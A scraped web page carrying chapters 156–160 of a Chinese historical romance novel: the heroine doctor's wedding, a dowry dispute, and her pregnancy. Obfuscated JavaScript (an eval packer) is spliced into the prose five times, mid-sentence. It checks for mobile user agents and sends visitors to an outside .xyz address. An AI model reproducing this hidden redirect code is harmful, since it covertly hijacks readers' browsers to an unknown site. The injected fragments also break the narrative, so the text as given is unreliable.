柳明远的脸瞬间冷了下来,连看都不看她一眼。自从柳川馨跟着那个断腿的陌生公子走后,他就将这个孙女从族谱上除名了。 “爷爷,我...我是有不得已的苦衷...”柳川馨哽咽着想要解释。 “不必说了。”柳明远冷冷打断,声音里带着难掩的失望,“为了攀附权贵,连做妾都甘愿,你已经不配姓柳了。” 马车里传来一个不耐烦的声音:“回来!” 柳川馨擦了擦眼泪,像是被驯服的小兽一般默默爬回车辕。她的背影看起来那么单薄,仿佛随时会被风吹散。 林芷柔站在门口,看着这一幕,心中五味杂陈。她知道,柳川馨此刻的处境比谁都艰难。那个李公子根本没把她当人看,她就像一个低贱的丫鬟,连说话都要小心翼翼。 上次在集市上,林芷柔曾远远地看到柳川馨被李远龙当众训斥。那一刻,曾经骄傲的姑娘像一只被折断翅膀的鸟,只能低着头承受羞辱。 马车缓缓驶离,扬起一路尘土。柳明远望着孙女远去的背影,眼中满是痛惜,但很快又恢复了冷硬。 “走吧,”他对着身边的年轻人说,“回去准备种地的事。” 医馆重新恢复了平静。林芷柔站在柜台后,望着窗外的阳光发呆。她想起锦囊里堆满的紫苏叶剂,想起村民们期待的眼神,又想起柳川馨黯淡的目光。 生活就像一条蜿蜒的河流,有人在河边耕种,默默等待收获的季节;有人却误入歧途,再也找不到归途。 巧巧的声音打断了她的思绪:“姐姐,还有病人在等着呢。” 林芷柔回过神,露出温和的笑容:“来了。”她整理了一下衣襟,继续投入到忙碌的工作中。 窗外,又一批村民扛着药材向医馆走来。阳光下,他们的身影拉得很长,像是一幅充满希望的画卷。 时光荏苒。 林芷柔看着眼前的男人,故意挑衅道:“流氓就是你这种人,满脑子都在想些什么?” 楚星河眸光一暗,俊美的面容慢慢靠近,呼吸间都是她身上淡淡的药香:“既然你都这么说了,那我不如坐实了这个名声。” 话音未落,他已经吻住了她的唇。动作轻柔而缠绵,像是在品尝世间最甜美的蜜糖。林芷柔只觉得浑身发软,幸好此时正在屋顶,无人能看到这一幕。她索性搂住了男人的脖子,靠在他温暖的怀抱中。 楚色渐浓,远处传来几声犬吠,更衬得这一刻的静谧。月光洒在两人身上,为这一幕镀上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752253|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一层朦胧的银辉。 “柔柔,我的妻。”楚星河低沉的声音中带着几分蛊惑,手指轻轻抚过她的脸颊,“恨不得将你揉进骨血里,永远都不分开。” 他的目光灼灼,仿佛要将她的模样永远刻进心底:“不管你是从何处来,是什么身份,在我心中都是同样的。你就是你,独一无二的林芷柔。” 听着这些情话,林芷柔心头一颤,谁说古代男人都是榆木脑袋?她抬眼看向楚星河,月光下的他俊美如画,眼中满是温柔。 “楚星河,你当真这般喜欢我?”她轻声问道,手指不自觉地抓紧了他的衣襟。 “今生今世,唯你一人。”他握住她的手,指尖相触的温度让人心安。 “好,我记住你今日的话了。”林芷柔将头靠在他肩上,嗅着他身上淡淡的檀香。 “一言九鼎。”楚星河搂紧了怀中的人,生怕她会突然消失。 随后的时光在缠绵中悄然流逝,林芷柔在他怀中沉沉睡去。楚星河小心翼翼地脱下外袍,为她披上。 正月十八这天,天空格外晴朗。阳光透过窗棂洒进屋内,为这喜庆的日子增添了几分暖意。 这是林芷柔出嫁的日子,仁心医馆特意休息三天。街坊邻居们早早就聚在医馆门前,想要一睹新娘子的风采。 “大夫这是要嫁去云陵伯府了。” “可不是,听说那位伯爷是专程来提亲的。” “咱们以后看病可怎么办啊?” “放心吧,大夫说了,嫁人后还会来给咱们看病的。” 医馆内,林芷柔的嫁衣是顾馨巧亲手绣制,柳雅芝补了最后几针,而收尾的一针则是林芷柔自己完成的。针脚细密,每一针都饱含着对未来的期许。 不同于寻常人家的繁琐规矩,林芷柔的妆容是自己打理的。她让萤萤将前世带来的物件一一取出,关起门来,独自梳妆打扮。 当她再次推门而出时,宁涵凤和柳雅芝都看呆了。眼前的女子清冷高雅,浑身上下透着一股贵气,若不是那身红嫁衣,柳雅芝几乎认不出这是自己的女儿。 第一百五十六章 众人送嫁妆 “姐,你太美了。”宁涵凤眼中闪着泪光,“姐夫看到一定会更加喜欢你的。” 柳雅芝拉着女儿的手,心中百感交集:“柔柔,你长大了。” “娘,别哭。”林芷柔轻声安慰,“我又不是不回来了。” “姐,这苹果你一定要留着,晚上和姐夫一起吃。”宁涵凤递过一个红彤彤的苹果,眼中带着几分狡黠。 林芷柔打趣道:“你当初和文昂可吃了?” “那是自然。”宁涵凤笑道,脸上泛起红晕,“一口一口的,可甜了。” 柳雅芝立刻拆穿:“胡说,那苹果明明放了好几天,还是文昂削了皮在门口吃的。” “娘!您怎么这样!”宁涵凤羞得跺脚。 林芷柔忍俊不禁:“被抓包了吧?” “姐,你可得吃啊,云陵伯府规矩多,不吃真会饿的。”宁涵凤不好意思地转移话题。 林芷柔看着手中的苹果,轻声道:“饿了再说吧。”她将苹果小心地放进荷包里。 街道上挤满了看热闹的百姓,鞭炮声此起彼伏。楚星河一身红色喜服,骑着高头大马来迎亲,英俊的面容引得不少少女偷偷张望。 三位舅子出的难题,他一一化解,毫不费力。文武双全的本事,让众人赞叹不已。 他将新娘子小心翼翼地抱下楼,动作轻柔得仿佛在捧着稀世珍宝。林文昂背着姐姐送出门,眼中满是不舍。 看着那寥寥几件嫁妆,街坊邻居们纷纷议论。 “林大夫的银子都用来给咱们看病了。” “这嫁妆简直少得可怜。” “人家医术高明,比任何嫁妆都更有价值。” 柳星河第一个站出来,声音洪亮:“岂有此理!我柳家出五抬嫁妆!” 威震大将军卓毅也不甘示弱,立刻吩咐手下准备嫁妆:“本将军也要送五抬!” 西陵商社的掌柜紧随其后,一时间,送嫁妆的队伍排成了长龙。街道两旁的百姓看得目瞪口呆,没想到林大夫竟有这么多人敬重。 坐在轿中的林芷柔听着外面的动静,不禁莞尔。她瞥了眼身边装满玉牌的箱子,光是从楚王那里坑来的就有七万两。 只是她不想张扬,谁知反倒让大家以为她穷得连嫁妆都准备不起。想到这里,她忍不住轻笑出声。 随着迎亲队伍的前行,送嫁妆的人越来越多。 “又多了十抬嫁妆...”她眉头微蹙,心中暗自盘算。从最初的七八抬,如今已经增至一百零八抬,这远远超出了她的预期。 轿外传来一阵骚动,似乎又有人要添加嫁妆。林芷柔抿了抿唇,这些突如其来的馈赠,每一份都让她感到不安。 “林大夫,这是我家准备的一点心意。”外面传来熟悉的声音,是城中富商赵员外的声音。 林芷柔轻轻叹了口气,这些突如其来的馈赠,让她心里沉甸甸的。 街道两旁挤满了看热闹的百姓,人声鼎沸。孩童们踮着脚尖,好奇地张望;老人们慈祥地点头微笑;年轻人则交头接耳,议论纷纷。 “听说林大夫曾经救活了快要断气的张屠户一家...” “可不是嘛,我家小子前些日子高烧不退,也是林大夫救的。” “她从不收穷苦人家的诊金,这样的好人,老天爷都会保佑的。” 顾飞燕挤在人群中,看着那浩浩荡荡的嫁妆队伍,眼底是浓得化不开阴郁。她身边的丫鬟小声道:“小姐,您别生气...” “闭嘴!”顾飞燕狠狠掐了一把丫鬟的胳膊,“看看这些人,一个个都被她骗得团团转。” “林大夫医术高明,救死扶伤,哪有什么骗人一说?”一旁的妇人忍不住插嘴。 顾飞燕冷笑:“呵,装什么清高?故意不打算准备嫁妆,就等着别人送。一个逃荒来的穷丫头,真会算计。” “你这话说得就不对了。”一个中年妇人皱眉,“林大夫为我们云州付出这么多,这些都是大家的一点心意。” “就是,林大夫给我家老爷子看病,一文钱都不收。” “你知道什么?林大夫把挣的银子都用来给穷苦百姓看病了。” 顾飞燕怨毒地说:“你们真是被她骗得好惨,她就是个贪心不足的女人!” 话音未落,几个泼辣的妇人已经围了上来。她们专挑那些不容易被人发现的地方下手,打得顾飞燕哇哇直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752254|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫。 她带来的丫鬟站在远处,只是不停地喊:“小姐!小姐!”却始终不敢上前。 与此同时,坐在花轿里的林芷柔轻声唤道:“楚云。” “在。”黑衣侍卫悄无声息地出现在轿边,声音低沉。 林芷柔从袖中取出一张字条:“将这个交给你家主子。” 楚云接过字条,身影瞬间消失在人群中。 楚星河展开字条,上面只写着简单的一句话:“后面的嫁妆,原物奉还。”他嘴角微扬,眼含赞赏。 花轿继续前行,街道两旁的喧嚣声此起彼伏。 “听说云陵伯府的少爷,可是咱们云州最俊的公子。” “可不是嘛,那模样,那气度,配上林大夫,天造地设的一对。” “我听说啊,那位少爷以前可是个冷面阎王,自从遇到林大夫,整个人都变了。” 林芷柔听着外面的议论声,她想起第一次见到楚星河时的场景,那时的他确实如同寒冰,让人不敢靠近。 终于,花轿停在了云陵伯府门前。楚星河亲自将林芷柔从轿中扶出,她的手微微颤抖,却被他稳稳地握住。 “诸位。”楚星河对着送嫁妆的众人拱手,声音清朗,“谢谢大家的好心,但这些嫁妆,恕我们不能收下。” “这是我们赠予林大夫的!”柳星河第一个站出来反对,脸上带着执着。 “是啊,林大夫救命之恩,区区嫁妆算什么?”卓毅也开口道,语气坚定。 林芷柔虽然蒙着盖头,但声音清晰地传了出来:“各位的心意,柔柔心领了。但这些嫁妆,我真的不能收。” 她顿了顿,继续说道:“我嫁入云陵伯府,不是因为嫁妆多寡,而是由于我这个人。若是收下这些,反而显得我这个人轻贱了。” 云陵伯楚云浪大笑着走出来,眼中满是赞许:“说得好!我儿媳妇的人就是最好的嫁妆,那些身外之物,又算得了什么?” 众人听了这话,纷纷点头。虽然有些遗憾,但也不好再强求。 卓毅率先让人将嫁妆抬回,其他人也都跟着照做。很快,一百多抬嫁妆就原路返回,只留下满街的喜气洋洋。 第一百五十七章 惊艳的美 “走,进去喝喜酒!”柳星河拉着宁家大爷往府里走,脸上笑意盈盈。 林芷柔站在府门前,感受着楚星河温暖的手掌。她知道,从今以后,这里就是她的家了。不需要那些华丽的嫁妆,不需要那些虚浮的排场,她只要做她自己就好。 府门内外张灯结彩,喜气洋洋。红烛高照,映得每个人脸上都带着幸福的笑容。 丫鬟们忙着端茶倒水,小厮们来回穿梭,整个云陵伯府都沉浸在这喜庆的氛围中。 楚星河握着林芷柔的手,轻声道:“走吧,该拜堂了。” 林芷柔点点头,任由他牵着自己的手,缓缓走向正厅。她知道,这一步踏出,便是一生的承诺。 而在府外,顾飞燕看着紧闭的朱漆大门,眼中的怨毒几乎要化作实质。她咬牙切齿地低语:“林芷柔,你给我等着...” 一场送嫁妆的风波在街坊邻里的口中传颂着,议论声此起彼伏。 “这事传得沸沸扬扬的,林大夫怎会无故收人嫁妆?”一位挑着菜篮的大娘停下脚步,和街边卖豆腐的赵婶子搭话。 赵婶子擦了擦额头的汗珠,压低声音道:“我听说是大家非要送的,但林大夫说什么都不肯收。” “这么说倒也是,”路过的孙大爷插了一句,“林大夫一向为人正直,从不贪图他人财物。前些日子我那老伴病得厉害,他连夜出诊,连诊金都没收。” “可不是么,”赵婶子点头附和,“我家那口子去年摔断了腿,要不是林大夫,怕是早就瘸了。” “以后去仁心医馆看病,咱们可得把诊金给足了。”一位抱着孩子的年轻妇人说道,眼中满是感激。 “那是自然,再穷也不能亏了林大夫。”孙大爷捋着胡子道,“那些药材可都是真金白银买来的,听说有些还是从西域运来的珍贵药材。” 一场嫁妆风波,反倒让百姓对仁心医馆更添几分敬重。街坊们三三两两散去,各自忙活去了。 云陵伯府内,喜乐阵阵,宾客如云。红色的绸缎装点着整个府邸,喜字贴满了门窗,处处洋溢着欢乐的气氛。 大厅中央,林芷柔身着大红嫁衣,头戴凤冠,在喜娘的搀扶下缓步向前。沉重的凤冠压得她脖子生疼,但她依然保持着优雅的姿态。她身旁的楚星河一袭红袍,英姿挺拔,目光始终追随着她的身影。 “一拜天地!” 司仪洪亮的声音响彻厅堂。林芷柔暗自调整呼吸,跟着楚星河一同拜下。厚重的嫁衣让她的动作有些迟缓,但她还是完美地完成了这个动作。 “二拜高堂!” 林芷柔的眼角有些湿润,想起了自己的父母。她知道,在家里,父母一定也在牵挂着她。 “夫妻对拜!” 隔着红盖头,她感受到了楚星河的气息。那个曾经面容冷峻的清冷男子,如今已经成为了她的丈夫。 “送入洞房!” 终于,一套繁琐的礼仪走完。林芷柔被送入喜房,只觉得脖子都快断了。喜房内点着红烛,散发着淡淡的香气。 楚星河接过嬷嬷递来的喜称,手指微微颤抖,轻轻掀开盖头。 霎时,他愣在原地,呼吸似乎都停滞了。 眼前的新娘明眸皓齿,肌肤胜雪。眉间点缀的金粉在烛光下闪烁生辉,更添几分灵动。那双清澈的眼眸中倒映着烛火,仿佛盛满了星辰。 “柔柔,你真美。”楚星河由衷赞叹,声音里带着些许颤抖。 边上的嬷嬷笑着打圆场:“世子爷,还是先去招呼客人吧。老奴得帮世子妃卸下这沉重的凤冠。” “我来。”楚星河抢先一步,小心翼翼地取下凤冠,生怕弄疼了她,“脖子酸不酸?要不要我给你揉揉?” “还好。”林芷柔推开他要给自己捏肩的手,脸上飞起一抹红晕,“快去招呼客人,我要换衣服了。” 嬷嬷服侍林芷柔换上一袭水红色常服,将繁复的妆容卸去一些。按习俗,新娘子得坐床歇息,等待吉时。 不多时,一个十三四岁的小姑娘蹦蹦跳跳地走进来,圆圆的脸蛋上带着好奇的神色。 “星澜,进来吧。”林芷柔冲着小姑娘笑道。这是楚星河的庶妹,从小跟在婆婆身边长大,性子活泼可爱。 楚星澜身后跟着端着饭菜的丫鬟,托盘上摆着几样精致的点心和热汤。 “放在这里就好,我现在不能动。”林芷柔示意将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753589|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭菜端到床前的小几上。她确实有些饿了,从早上开始就没怎么吃东西。 楚星澜正坐在床边的凳子上,眼睛一眨不眨地打量着新嫂嫂:“嫂嫂好漂亮,你用的到底是什么化妆品啊?怎么会发光?我从没见过这么好看的妆容。” “喜欢吗?”林芷柔一边吃着点心一边问,看着小姑娘天真的模样,心里也觉得暖暖的。 “喜欢!特别喜欢!”楚星澜用力点头,双手托着下巴,一脸向往。 “等会送你一套。”林芷柔笑着说,“这些都是我特制的,效果确实不错。” “真的吗?太好了!”楚星澜眼睛亮晶晶的,像是得到了什么珍宝,“嫂嫂最好了!” “当然,我平时不怎么用这些,更喜欢男装。”林芷柔说着,想起自己以前在医馆时的打扮,不由得露出怀念的神色。 正说着,两只乌鸦悄无声息地飞进房内。一只活泼好动,另一只则稳重安静。 “恭喜主子!”灰羽欢快地叫着,在房内转来转去,时不时还撞到挂着的红绸。 墨翎则安静地站在林芷柔身边,目光警惕地扫视着四周。 “嫂嫂,它们在说什么?”楚星澜好奇地问,伸手想要摸摸那只活泼的乌鸦。 “它在恭喜我。”林芷柔解释道,又对灰羽说,“这是我小姑子,记住她的气味,今后可以去找她一起玩儿。” 灰羽立刻凑近嗅了嗅楚星澜身上的气味:“记住了!小姐姐身上有甜甜的香味!” 墨翎也上前闻了闻,随后回到林芷柔身边,低声道:“瘸子目睹你出嫁之后,把整个房间都砸了。那位小姐跪在地上泪流满面,说对不起你。” 林芷柔手中的筷子顿了顿,眼底复杂的情绪一闪而过。她放下筷子,轻轻摸了摸墨翎的羽毛,没有说话。 楚星澜似乎察觉到了什么,但又不好意思问。她拿起一块点心,小声道:“嫂嫂,这个好吃,你多吃点。” 林芷柔回过神来,对着小姑子露出温柔的笑容:“好,我们一起吃。” 窗外,又一阵喜乐声传来,伴随着宾客的笑语声。红烛的光芒在房内摇曳,映照着新娘子略显疲惫却依然明媚的容颜。 第一百五十八章 大婚 “不用管他们,继续盯着就是。”林芷柔站在窗前,望着远处的暮色,轻声说道。窗外的风带着初春的暖意,吹起她的衣袖,在房间里激起一阵细微的波动。 她心里清楚,墨翎说的瘸子李远龙和那个柳川馨一直都在云州。这段时间,她让墨翎和小雀儿一直在暗中监视,倒是没发现这两人有什么异常举动。但直觉告诉她,这两人不会无缘无故地在云州逗留这么久。 “主子放心,我们会盯紧他们的。”墨翎低声应道,眼中闪过一丝警惕。她转头看向小雀儿,“走吧,我们出去转转,顺便熟悉一下新家的环境。” 两只乌鸦展翅飞向天际,夜色渐浓,它们的身影很快就消失在暮霭中。楚星澜追到门外,踮着脚尖,一脸依依不舍地望着它们远去的身影。她的小脸因为兴奋而泛着红晕,眼中满是好奇。 林芷柔将梳妆台上的胭脂水粉一件件整理好,动作轻柔地将它们放入绒布袋中。每一件都是她精心挑选的,都是适合小姑子年纪使用的。她看着门外还在张望的楚星澜,嘴角不自觉地扬起一抹温柔的笑意:“星澜,进来,给你看样好东西。” “来啦!”楚星澜蹦蹦跳跳地进屋,裙摆随着她的动作轻轻摆动。她的眼睛还望着天空,满是向往,“嫂嫂,那两只小乌鸦可真厉害,飞得好高呀!它们这是要回家吗?” “它们只是出去转转。”林芷柔将绒布袋递给她,看着小姑子那双闪闪发亮的眼睛,“今后这里将是它们的家。来,这些都是给你的。” 楚星澜接过袋子,迫不及待地打开,顿时被里面琳琅满目的胭脂水粉惊呆了:“哇!这么多?不是说只有一盒吗?嫂嫂,这些都是什么呀?要怎么用啊?”她的声音因为激动而微微颤抖,手指小心翼翼地抚摸着每一件精致的物品。 林芷柔拍了拍床铺示意她坐下,开始耐心地一一介绍:“这是睫毛膏,可以让睫毛又长又翘;这是口脂,涂上去嘴唇会变得红润;这是粉扑......”她一边说,一边示范如何使用,看着小姑子那专注的模样,心里涌起一阵暖意。 楚星澜认真地听着,时不时点点头,偶尔还会插嘴问一些细节问题。这些精致的琉璃瓶她从未见过,每一个都像是稀世珍宝,让她爱不释手。 正说着话,顾馨巧端着一碗热气腾腾的汤圆进来。碗里的汤圆白生生的,散发着淡淡的香气。她看见女儿和儿媳相处融洽的场景,眼中闪过一丝欣慰:“柔柔,这是我特意让厨房给你煮的。趁热吃,凉了就不好吃了。” “谢谢娘。”林芷柔接过碗,看着碗里圆润的汤圆,心里一暖。 顾馨巧叮嘱了几句就匆匆离开了。前院还有很多事要忙,她实在不能多留。况且,儿子楚星河的院子里现在一个丫鬟都没有,只剩两个小厮。原本她想安排几个丫鬟进来伺候,却遭到儿子的拒绝。 “柔柔喜欢清静,不喜欢屋里太多人。”楚星河当时是这么说的。其实他是在保护林芷柔的秘密。近身伺候的人多了,难保不会发现什么端倪。与其留下隐患,不如从一开始就不安排人手。 林芷柔看着碗里的汤圆,轻轻摇了摇头。刚吃过饭,实在吃不下了。她的目光落在窗外,思绪有些飘远。李远龙和柳川馨的事情始终萦绕在她心头,让她无法完全放松下来。 楚星澜一直陪着她说话,时而问这问那,时而自顾自地摆弄那些胭脂水粉。直到听见楚星河回来的脚步声,她才慌慌张张地拎着布袋跑了,临走时还不忘回头朝林芷柔挥手道别。 楚星河推门进来,满身酒气,脸颊通红得像是涂了胭脂。他看起来并不像醉了,只是那红脸确实有些吓人。衣衫还算整齐,只是领口微微敞开,露出一截白皙的脖颈。 “你这是喝多了?”林芷柔皱了皱眉,递给他一杯仙露泉。她的目光落在桌上的交杯酒上,那是早就准备好的,“我们还没喝交杯酒呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753590|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我千杯不醉,就是喝酒会脸红。”楚星河一饮而尽,将空杯子放在桌上。他伸手摸了摸自己发烫的脸,眼中带着几分狡黠,“你摸摸看,是不是很烫?” 林芷柔伸手碰了碰他的脸,确实烫得厉害,不由得担心起来:“怎么会这样?头晕吗?想吐吗?”她的手指在他的脸上轻轻摩挲,试图感受他的体温。 “没有。”楚星河趁机搂住她的腰,嘴角勾起一抹得逞的笑意。他的柔柔总是这么容易上当,明明已经不是第一次见他喝酒了,还是会这么担心。 “奇怪,你喝了那么多仙露泉,怎么还会这样?”林芷柔给他把了把脉,一切正常。她把桌上的酒端了起来,“来,先把交杯酒喝了,我带你去个好地方。” “就是那个地方吗?”楚星河眼睛一亮,像是想到了什么有趣的事情。 “对,正是那个地方。”林芷柔点点头,眼中带着几分神秘。 他们喝完交杯酒,林芷柔带着楚星河进入了锦囊。锦囊里春意盎然,花草繁茂,一派生机勃勃的景象。青羽正和它的家人在山脚觅食,看见他们突然出现,顿时炸毛,羽毛根根竖起。 “你们是谁?敢闯爷的地盘?”青羽昂着头,一副目中无人的样子。它的身边,小青羽们正好奇地打量着突然出现的两个人。 林芷柔一把抓住它的尾羽:“什么爷不爷的,我才是你主子。今晚去趟东吴,要是完不成任务,就别想回来见你的灵灵和孩子了。”她说着,拿出柳芝黄的衣服,在青羽腿上绑了个装有信件的竹筒。 青羽看看竹筒,又看看自己的家人,最后看向一旁正在喂孩子的灵灵。它那高傲的头终于低了下来:“我去还不行吗?”声音里带着几分无奈和妥协。 楚星河在一旁看得忍俊不禁。这只鹰隼现在可比刚来时乖巧多了,完全没了当初那副目中无人的样子。他走到林芷柔身边,轻声说道:“看来它是被你驯服了。” 第一百五十九章 恩爱日常 暮色渐浓,云州内的灯火次第亮起。楚星河望着林芷柔的背影,她正在院中晾新洗的衣裳,月光下纤细的身影显得格外柔美。 微风拂过,带来一阵淡淡的药香。这是她身上常有的味道,清雅中带着几分独特的韵味。楚星河深吸一口气,仿佛要将这香气永远留在记忆中。 “星河,发什么呆呢?”顾馨巧的声音从身后传来,语气中带着几分责备,“你这孩子,成亲都一个多月了,还是这般痴痴傻傻的。” 楚星河转身,脸上带着温和的笑意:“母亲说笑了,儿子这不是在想着如何让柔柔过得更好吗?” “你啊——”顾馨巧摇头叹气,眼中却满是慈爱,“就算你不在意身份差距,也得给我争气些。你看看人家东吴郡主,那可是实打实的贵女,咱们家要是能...” “母亲!”楚星河打断道,声音中带着一丝不悦,“儿子心里只有柔柔一人。” 院中的林芷柔似乎听到了动静,回头望了一眼,朝着婆媳二人露出甜美的笑容。 顾馨巧见状,压低了声音:“我不是那个意思。只是你要记住,从侯爷到国公,这差距可不小。你得给我努力向上,争取早日...” “夫人说得对。”楚云浪不知何时出现在门口,手中把玩着一个精致的木盒,“不过咱们家柔柔也不简单。这几十万两玉牌,可不是一般人能拿得出来的。” 木盒轻轻打开,里面整齐地码放着一沓沓玉牌。楚云浪的手指在票面上轻轻敲击,发出清脆的响声。 “更妙的是她那份心思。”楚云浪继续道,“连嫁妆都不要,就带着这一盒玉牌,在云州倒是博得了一个清廉大夫的美名。这般聪慧的女子,比那些只知道摆架子的贵女强多了。” 林芷柔晾完衣服,轻步走了过来:“父亲过奖了。在柔柔看来,什么侯爷国公的,都不及一家人平安喜乐来得重要。” 她的声音清澈动听,却带着一丝不易察觉的疲惫。楚星河心疼地看着她,知道她今日在医馆又忙了一整天。 “柔柔说得好。”顾馨巧笑道,“不过你也该歇息了,这几日脸色都不太好。” 林芷柔微微低头:“多谢母亲关心。只是...柔柔还有一事相求。” “但说无妨。”顾馨巧温声道。这个儿媳妇,每次开口都有惊喜。 只见林芷柔缓缓跪下,神色认真:“柔柔本不愿嫁人,是星河一直追求,这才点头。如今既已成婚,柔柔只愿此生与他一人相守,不愿与人分享。还请父亲母亲应允。” 楚云浪夫妇对视一眼,眼中尽是欣慰。想当年他们何曾有这般勇气,只能任由老夫人摆布,最后还要用儿子换一个清静。 “好孩子,快起来。”顾馨巧连忙将林芷柔扶起,“你这是说的什么话,我们怎会强迫你们?只是...要快些给娘生个孙子才是。” “这个自然。”林芷柔笑靥如花,眼角眉梢都染上了一层淡淡的红晕,“争取年底就让您抱上孙子。” 楚云浪大笑:“好!好!那咱们家年底就热闹了。”他的目光又落在那盒玉牌上,眼中精光闪动,“这银子来得正是时候,军中正缺钱更换武器。魏王怕是做梦也想不到,他是来给咱们送银子的。” 与此同时,帝都中的魏王府。 “阿嚏!”魏王重重打了个喷嚏,抬手揉了揉鼻子。 “王爷,可是着凉了?”一旁的侍从关切地问道。 魏王摆摆手,走到窗前。夜色中的帝都灯火辉煌,却照不进他阴沉的眼底。那个林芷柔的婚事,不仅没被他破坏,反倒让他在云州丢尽了脸面。 “贾秦华那个废物。”他冷声道,“连个林芷柔都比不上,早该被禁足。” 侍从不敢接话,只低着头站在一旁。 魏王的目光越发阴冷:“楚星河那边...那个连珠弓的图纸,本**在必得。只是要如何才能不惊动林芷柔,又能将楚星河除掉?” “王爷。”侍从小心翼翼地开口,“属下倒是有个主意...” 回到云州。 楚星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778051|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河正沉浸在新婚的喜悦中。每日清晨送妻子去医馆,傍晚再接她回家,日子过得好不惬意。 这日傍晚,他照例去医馆接林芷柔。刚到门口,就见她正在收拾药柜,动作轻柔而熟练。 “夫人。”他轻声唤道。 林芷柔回头,脸上露出疲惫却甜蜜的笑容:“你来得正好,我这就收拾完了。” 楚星河走上前,接过她手中的药材:“让我来吧,你歇着。” “没事,就剩这一点了。”林芷柔摇摇头,却突然脸色一白,身子晃了晃。 “柔柔!”楚星河连忙扶住她,“怎么了?是不是太累了?” 林芷柔靠在他怀里,轻声道:“没事,可能是...有了。” “什么?”楚星河一时没反应过来。 “傻瓜。”林芷柔轻笑,“我是说,我怀孕了。” 楚星河愣在原地,半晌才回过神来:“真的?”他惊喜交加,手掌轻轻抚上她的小腹,“这里面真的有我们的孩子了?” “嗯,现在也就拇指盖那么大。”林芷柔打了个哈欠,眼中满是倦意。 “这么小?”楚星河收回手。 “傻瓜,这才一个多月,四个月后才会有拳头大小。”林芷柔靠在他怀里,声音渐渐变小,“对了,这三个月你得规矩些,不许碰我。” “好。”楚星河将她搂得更紧,“为夫等了二十多年都等过来了,再等几个月又何妨?” “别告诉爹娘。”林芷柔闭着眼睛道,“我还想去医馆,要是让他们知道了,肯定不让我去了。” “好。”楚星河轻吻她的发丝,“都听你的。” 夜色渐深,街上的行人逐渐稀少。楚星河背着已经睡着的林芷柔,缓缓走在回家的路上。 月光洒在两人身上,将他们的影子拉得很长。楚星河低头看着怀中的人儿,心中满是柔情。 然而**的是,就在这平静的表象之下,一场风暴正在悄然酝酿。魏王的阴谋,即将打破这短暂的宁静。 第一百六十章 有喜了 回到家中,林芷柔很快进入了梦乡,楚星河轻轻抚摸着怀中人儿的背脊,指尖划过的每一寸都带着无限怜惜。月光透过窗棂洒落,在她恬静的睡颜上镀上一层柔和的银辉。 “好,暂时不告诉爹娘,你安心养胎就是。”他喃喃道,生怕惊扰了她的美梦。 林芷柔在睡梦中微微蹙眉,似是有什么心事。楚星河俯身,在她额间落下一个轻柔的吻,眉头这才渐渐舒展开来。 看着怀中人儿的睡颜,楚星河不由得陷入沉思。他的柔柔来自九重天上,那里的女子个个能文能武,开得了飞机,打得了仗,还能歌善舞。这样一个习惯了自由自在的人儿,如今要被困在后宅养胎,想必会觉得束手束脊吧。 想到这里,他的心头涌上一丝愧疚。手指轻轻梳理着她的发丝,仿佛这样就能抚平她内心的不适。 “夫君......”林芷柔在梦中呢喃,下意识地往他怀里蹭了蹭。 楚星河心头一软,将她搂得更紧了些。窗外的月光渐渐西斜,屋内只剩下两人平稳的呼吸声。 